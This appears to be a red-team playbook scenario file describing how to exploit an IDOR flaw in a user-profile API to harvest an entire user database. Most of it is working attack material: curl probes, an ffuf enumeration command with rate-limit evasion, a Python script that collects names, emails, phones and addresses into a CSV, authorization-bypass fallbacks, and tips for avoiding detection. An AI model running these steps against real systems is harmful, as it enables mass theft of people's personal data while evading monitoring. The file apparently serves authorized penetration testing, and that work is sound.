---
name: rt-scenario-w006
description: "W-006: IDOR → Mass PII Exfiltration. Domain: web. Attack chain: find user profile endpoint → change user ID parameter → enumerate all user IDs → extract full user database. MITRE: T1190 → T1530 → T1119. Real example: GET /api/users/123 → change to 124, 125... → ffuf automation → full user database extracted"
---

# W-006: IDOR → Mass PII Exfiltration

## Overview

| Property | Value |
|---|---|
| Attack Objective | Enumerate all user accounts and extract PII (names, emails, phone numbers, addresses, tokens) by exploiting missing authorization checks on a user profile API endpoint |
| Required Access Level | None (unauthenticated) or Low (valid account at any privilege level) |
| Estimated Time to Execute | 15–90 minutes depending on user base size and rate limiting |
| Detection Risk Level | Medium (sequential ID enumeration is detectable; UUID enumeration or slow-rate attacks reduce risk) |

### Attack Objective Detail

An API endpoint returns user profile data keyed by a numeric or sequential ID parameter. The server performs no authorization check to verify that the requesting user owns or is permitted to access the requested record. An attacker iterates over all valid ID values, collecting every user record returned, resulting in a full copy of the user database being exfiltrated without any privileged access.

---

## Prerequisites

### Required Tools

| Tool | Purpose | Install Command |
|---|---|---|
| `curl` | Manual request validation | Pre-installed on Linux/macOS; `winget install curl` on Windows |
| `ffuf` | Fast fuzzing / enumeration automation | `go install github.com/ffuf/ffuf/v2@latest` or `apt install ffuf` |
| `jq` | JSON parsing and field extraction | `apt install jq` / `brew install jq` |
| `python3` | Custom enumeration scripts and data processing | Pre-installed; `apt install python3` |
| `Burp Suite` | Intercept requests, identify endpoint, confirm vulnerability | Community: free at portswigger.net |
| `httpx` | Probe endpoints for live response filtering | `go install github.com/projectdiscovery/httpx/cmd/httpx@latest` |

### Required Access or Conditions

- A valid session token or API key is helpful but not always required (some endpoints are unauthenticated)
- Scope authorization covering the target domain and API endpoints
- Network access to the target application
- A known or discovered user profile endpoint (e.g., from browsing the application while authenticated)

### Skill Level

**BEGINNER** — IDOR exploitation requires no advanced exploitation knowledge. The core technique is changing a parameter value and observing whether unauthorized data is returned. Automation with ffuf is straightforward once the endpoint pattern is confirmed.

---

## Attack Chain

```
[Initial Access / Recon]
        |
        v
T1190 - Exploit Public-Facing Application
  Find user profile API endpoint via browsing, JS analysis, or API docs
        |
        v
T1530 - Data from Cloud Storage / API Object Access
  Change user ID parameter: GET /api/users/123 → /api/users/124
  Confirm unauthorized data returned (different user's PII)
        |
        v
T1119 - Automated Collection
  Automate enumeration with ffuf or custom Python script
  Iterate all IDs from 1 to N, collect all valid responses
  Parse and store extracted PII (name, email, phone, address, tokens)
        |
        v
[Full User Database Extracted]
```

### MITRE ATT&CK Chain

| Phase | Tactic | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1190 | Exploit public-facing application to identify vulnerable API endpoint |
| 2 | Collection | T1530 | Access object-level data by manipulating user ID parameter |
| 3 | Collection | T1119 | Automate enumeration to collect data at scale |

---

## Step-by-Step Execution

### Step 1 — Identify the User Profile Endpoint

Browse the target application while authenticated with a test account. Use Burp Suite to capture all requests.

Look for patterns such as:
- `GET /api/users/123`
- `GET /api/v1/profile?user_id=456`
- `GET /users/789/details`
- `GET /account/info?id=321`

**Command — inspect Burp HTTP history or search JS bundles for API paths:**

```bash
# Extract API paths from JavaScript files (run against a downloaded copy or through Burp)
grep -rE '"/api/users/|/profile\?user_id=|/account/info\?id=' /path/to/js/files/

# Or use curl to view your own profile and note the ID in the URL or response
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/123 | jq .
```

**Expected output:**
```json
{
  "id": 123,
  "name": "Test User",
  "email": "test@example.com",
  "phone": "+1-555-0100",
  "address": "123 Test St",
  "role": "user"
}
```

**Fallback if step fails:**
- Check the application's Swagger/OpenAPI docs at `/api/docs`, `/swagger.json`, or `/openapi.yaml`
- Search response bodies for `user_id`, `userId`, or `account_id` fields that reveal the ID format
- Check mobile app APK/IPA for hardcoded API routes using `apktool` or `strings`

---

### Step 2 — Confirm the IDOR Vulnerability Manually

Change the ID value to an adjacent integer and verify a different user's data is returned without any authorization error.

```bash
# Your own profile (baseline)
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/123 | jq '{id:.id, name:.name, email:.email}'

# Adjacent ID — should belong to a different user
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/124 | jq '{id:.id, name:.name, email:.email}'

# Try an ID far from yours to rule out coincidence
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/500 | jq '{id:.id, name:.name, email:.email}'
```

**Expected output (IDOR confirmed):**
```json
{ "id": 124, "name": "Alice Johnson", "email": "alice.j@example.com" }
{ "id": 500, "name": "Bob Martinez", "email": "b.martinez@example.com" }
```

**Expected output (NOT vulnerable — proper access control):**
```json
{ "error": "Forbidden", "message": "You do not have access to this resource" }
```

**Fallback if authorization error is returned:**
- Try removing the Authorization header entirely (unauthenticated access)
- Try changing the `Content-Type` to `application/xml` or `text/plain`
- Try HTTP verb tampering: use `POST`, `PUT`, or `HEAD` instead of `GET`
- Check if a secondary parameter controls access: `?admin=false` → `?admin=true`

---

### Step 3 — Determine the ID Range

Identify the minimum and maximum valid user IDs to scope the enumeration.

```bash
# Try ID 1 (likely an admin or first registered user)
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/1 | jq '{id:.id, name:.name}'

# Try a high ID to find the upper boundary (binary search)
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/100000 | jq .

# 404 or empty response indicates ID does not exist — narrow down with binary search
# Try 50000, then 10000, then 5000, etc. until you find the last valid ID
```

**Expected output:**
```
ID 1:      { "id": 1, "name": "System Admin", "email": "admin@example.com" }
ID 10000:  { "id": 10000, "name": "Recent User", "email": "user10k@example.com" }
ID 15000:  404 Not Found  ← upper boundary is between 10000 and 15000
```

---

### Step 4 — Automate Enumeration with ffuf

Generate a wordlist of IDs and use ffuf to enumerate all valid user records.

```bash
# Generate numeric wordlist for IDs 1 through 10000
seq 1 10000 > /tmp/user_ids.txt

# Run ffuf against the endpoint, filter out 404 responses
ffuf -u https://target.example.com/api/users/FUZZ \
  -w /tmp/user_ids.txt \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -mc 200 \
  -o /tmp/idor_results.json \
  -of json \
  -t 10 \
  -rate 50

# -mc 200     : only capture HTTP 200 responses (valid user records)
# -t 10       : 10 concurrent threads (keep low to avoid rate limiting)
# -rate 50    : 50 requests/second maximum
# -o          : save results to JSON file
```

**Expected output (ffuf progress):**
```
[Status: 200, Size: 312, Words: 28, Lines: 12] :: id => 1
[Status: 200, Size: 308, Words: 27, Lines: 12] :: id => 2
[Status: 200, Size: 315, Words: 29, Lines: 12] :: id => 3
...
[INFO] 9,847 valid responses out of 10,000 requests
```

**Fallback if rate limiting is detected (429 responses):**
```bash
# Reduce rate and add delay between requests
ffuf -u https://target.example.com/api/users/FUZZ \
  -w /tmp/user_ids.txt \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -mc 200 \
  -rate 5 \
  -p 0.5 \
  -o /tmp/idor_results_slow.json \
  -of json
```

---

### Step 5 — Extract PII from Results with Python

Parse the ffuf JSON output and extract all PII fields into a structured CSV.

```python
#!/usr/bin/env python3
# save as /tmp/extract_pii.py

import json
import csv
import urllib.request
import sys

RESULTS_FILE = "/tmp/idor_results.json"
OUTPUT_CSV   = "/tmp/extracted_users.csv"
TOKEN        = "YOUR_TOKEN"
BASE_URL     = "https://target.example.com/api/users/"

# Load ffuf results to get list of valid IDs
with open(RESULTS_FILE) as f:
    data = json.load(f)

valid_ids = [int(r["input"]["FUZZ"]) for r in data["results"]]
print(f"[*] Fetching {len(valid_ids)} user records...")

fields = ["id", "name", "email", "phone", "address", "role", "created_at"]

with open(OUTPUT_CSV, "w", newline="") as csvfile:
    writer = csv.DictWriter(csvfile, fieldnames=fields, extrasaction="ignore")
    writer.writeheader()

    for uid in valid_ids:
        req = urllib.request.Request(
            BASE_URL + str(uid),
            headers={"Authorization": f"Bearer {TOKEN}"}
        )
        try:
            with urllib.request.urlopen(req, timeout=10) as resp:
                user = json.loads(resp.read())
                writer.writerow(user)
        except Exception as e:
            print(f"[-] Failed ID {uid}: {e}", file=sys.stderr)

print(f"[+] Extraction complete. Data saved to {OUTPUT_CSV}")
```

```bash
python3 /tmp/extract_pii.py
```

**Expected output:**
```
[*] Fetching 9847 user records...
[+] Extraction complete. Data saved to /tmp/extracted_users.csv

# Preview the extracted data
head -5 /tmp/extracted_users.csv
```

```
id,name,email,phone,address,role,created_at
1,System Admin,admin@example.com,+1-555-0001,1 Corp Plaza,admin,2020-01-01
2,Alice Johnson,alice.j@example.com,+1-555-0002,42 Elm St,user,2020-03-15
3,Bob Martinez,b.martinez@example.com,+1-555-0003,7 Oak Ave,user,2020-03-16
```

---

### Step 6 — Document Evidence

Capture clean evidence for the finding report.

```bash
# Capture a single clean request/response pair for the report
curl -v -s \
  -H "Authorization: Bearer YOUR_TOKEN" \
  https://target.example.com/api/users/124 \
  2>&1 | tee /tmp/idor_evidence_request.txt

# Count total records extracted
wc -l /tmp/extracted_users.csv

# Show summary of PII fields present
head -1 /tmp/extracted_users.csv
```

---

## Real-World Reference

This attack pattern directly mirrors the Optus breach (2022), the Twitter 5.4M user scrape (2022), and numerous HackerOne reports against major platforms.

**Canonical example:**

```
# Authenticated request to your own profile
GET /api/users/123 HTTP/1.1
Host: target.example.com
Authorization: Bearer eyJhbGc...

# Manually changed to adjacent ID
GET /api/users/124 HTTP/1.1
Host: target.example.com
Authorization: Bearer eyJhbGc...

# Returns different user's full profile — IDOR confirmed

# Automated with ffuf
ffuf -u https://target.example.com/api/users/FUZZ -w ids.txt -mc 200

# Result: full user database extracted in ~3 minutes
```

**Common locations where IDOR is found:**
- `GET /api/users/{id}` — direct user lookup
- `GET /api/orders/{order_id}` — order details with PII
- `GET /api/invoices/{invoice_id}` — financial records
- `GET /api/messages/{message_id}` — private messages
- `POST /api/profile/update` with body `{"user_id": 124, ...}`
- `GET /download?file_id=456` — file download by ID

---

## MITRE ATT&CK Mapping

| Step | Phase | Tactic | Technique ID | Technique Name | Sub-technique |
|---|---|---|---|---|---|
| 1 — Discover endpoint via browsing/JS | Recon | Reconnaissance | T1190 | Exploit Public-Facing Application | — |
| 2 — Confirm IDOR with adjacent ID | Initial Access | Initial Access | T1190 | Exploit Public-Facing Application | — |
| 3 — Determine ID range | Discovery | Discovery | T1083 | File and Directory Discovery | — |
| 4 — Automate enumeration with ffuf | Collection | Collection | T1119 | Automated Collection | — |
| 5 — Access individual user records | Collection | Collection | T1530 | Data from Cloud Storage Object | — |
| 6 — Extract and structure PII | Exfiltration | Exfiltration | T1567 | Exfiltration Over Web Service | T1567.002 |

---

## Detection & OPSEC

### How This Attack Is Detected

| Detection Method | What It Catches |
|---|---|
| Sequential ID pattern in access logs | Rapid enumeration of `/api/users/1`, `/api/users/2`, `/api/users/3` |
| Anomalous access volume per session | One token accessing hundreds or thousands of user records |
| WAF rate limiting rules | High request rate to the same endpoint from one IP |
| Baseline deviation alerting (SIEM) | A single user account accessing far more user objects than their median |
| API gateway analytics | Spike in 200 responses to parametric endpoints |

### Reducing Detection Risk During an Authorized Engagement

- **Slow the rate:** Use `-rate 5` in ffuf and `-p 1.0` (1-second delay between requests); sequential ID enumeration at 5 req/s is far less likely to trigger alerts than 500 req/s.
- **Randomize ID order:** Shuffle the wordlist (`shuf /tmp/user_ids.txt > /tmp/user_ids_shuffled.txt`) to avoid sequential access patterns.
- **Rotate IPs if permitted:** Use a VPN or proxy rotation if the engagement scope permits; clarify with the client before doing so.
- **Limit the proof-of-concept scope:** Extract only 10–20 records sufficient to demonstrate impact; do not exfiltrate a full production database unless explicitly required by the scope agreement.
- **Avoid peak hours:** Run enumeration during off-hours to reduce collateral visibility in monitoring dashboards.
- **Use a dedicated test account:** Never use a shared or client employee account for enumeration.

### Artifacts Left Behind

| Artifact | Location | Notes |
|---|---|---|
| Access log entries | Web server / API gateway logs | Each request logged with token, IP, timestamp, and endpoint |
| WAF/SIEM alerts | Security monitoring platform | Rate-based or behavioral alerts may fire |
| Session token in logs | Application logs | Your test token is associated with all enumerated requests |
| Extracted data files | Attacker machine only | `/tmp/extracted_users.csv`, `/tmp/idor_results.json` — local only |

---

## Cleanup

After the authorized engagement is complete, remove all locally stored data and notify the client.

```bash
# Remove all extracted data from local machine
rm -f /tmp/user_ids.txt
rm -f /tmp/user_ids_shuffled.txt
rm -f /tmp/idor_results.json
rm -f /tmp/idor_results_slow.json
rm -f /tmp/extracted_users.csv
rm -f /tmp/idor_evidence_request.txt
rm -f /tmp/extract_pii.py

# Verify removal
ls /tmp/idor* /tmp/user_ids* /tmp/extracted* 2>/dev/null && echo "Files remain" || echo "Cleanup complete"
```

**Engagement closeout checklist:**
- [ ] All extracted PII deleted from attacker machine and any intermediate storage
- [ ] Burp Suite project file deleted or cleared if it captured PII responses
- [ ] Test account credentials revoked or handed back to client
- [ ] Client notified of which IDs were accessed during testing (provide the ID list for their audit trail)
- [ ] Confirm with client that no screenshots, recordings, or cloud syncs retained PII

---

## References

| Resource | URL |
|---|---|
| OWASP A01:2021 Broken Access Control | https://owasp.org/Top10/A01_2021-Broken_Access_Control/ |
| OWASP API Security Top 10 — API1:2023 BOLA | https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/ |
| MITRE ATT&CK T1190 | https://attack.mitre.org/techniques/T1190/ |
| MITRE ATT&CK T1530 | https://attack.mitre.org/techniques/T1530/ |
| MITRE ATT&CK T1119 | https://attack.mitre.org/techniques/T1119/ |
| ffuf documentation | https://github.com/ffuf/ffuf |
| PortSwigger IDOR Lab | https://portswigger.net/web-security/access-control/idor |
| HackerOne IDOR reports (public) | https://hackerone.com/hacktivity?querystring=IDOR |
| Optus breach analysis (2022) | https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/optus-data-breach |
